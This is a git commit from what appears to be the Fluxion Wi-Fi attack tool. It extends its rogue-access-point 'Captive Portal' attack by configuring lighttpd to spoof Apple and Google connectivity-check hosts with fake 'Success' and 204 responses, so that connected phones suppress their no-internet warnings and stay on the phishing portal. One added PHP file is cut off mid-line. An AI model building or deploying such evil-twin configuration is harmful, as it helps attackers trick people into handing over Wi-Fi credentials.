Added some warning suppression to Android & iOS.

For iOS, the warnings are suppresed up to the current version (11.2).
For Android, the warnings are suppresed for only some versions (varies).
This commit is contained in:
Matias Barcenas 2017-12-02 03:15:31 -06:00
parent e587942f32
commit 54b0165db4
6 changed files with 44 additions and 5 deletions

View File

@ -324,6 +324,10 @@ function captive_portal_set_attack() {
chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
done
# Add the files for captive portal internet connectivity checks.
cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \
"$FLUXIONWorkspacePath/captive_portal/connectivity_responses"
# Generate the dhcpd configuration file, which is
# used to provide DHCP service to APRogue clients.
echo "\
@ -358,6 +362,8 @@ server.modules = (
\"mod_rewrite\"
)
accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\"
fastcgi.server = (
\".php\" => (
(
@ -399,13 +405,40 @@ index-file.names = (
)
\$SERVER[\"socket\"] == \":443\" {
ssl.engine = \"enable\"
ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\"
ssl.engine = \"enable\"
ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\"
}
#Redirect www.domain.com to domain.com
\$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
# Redirect www.domain.com to domain.com
#\$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
# url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
#}
# The following will emulate Apple's and Google's internet connectivity checks.
# This should help with no-internet-connection warnings in some devices.
\$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response.
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\"
}
# Consolidate the clusterfuck below, I'm sleepy right now, can't regex right...
\$HTTP[\"host\"] == \"www.google.com\" { # Respond with Google's captive response.
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
}
\$HTTP[\"host\"] == \"clients3.google.com\" { # Respond with Google's alternative captive response.
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
}
\$HTTP[\"host\"] == \"connectivitycheck.gstatic.com\" { # Respond with Google's alternative captive response.
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
}
\$HTTP[\"host\"] == \"connectivitycheck.android.com\" { # Respond with Google's alternative captive response.
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
}
" > "$FLUXIONWorkspacePath/lighttpd.conf"

View File

@ -0,0 +1,2 @@
<html><script type="text/javascript">window["_gaUserPrefs"] = { ioo : function() { return true; } }</script><head><title>Success</title><style></style></head><body>Success
</body></html>

View File

@ -0,0 +1,2 @@
<?php
header(

View File

@ -0,0 +1,2 @@
<?php
header("HTTP/1.0 204 No Content");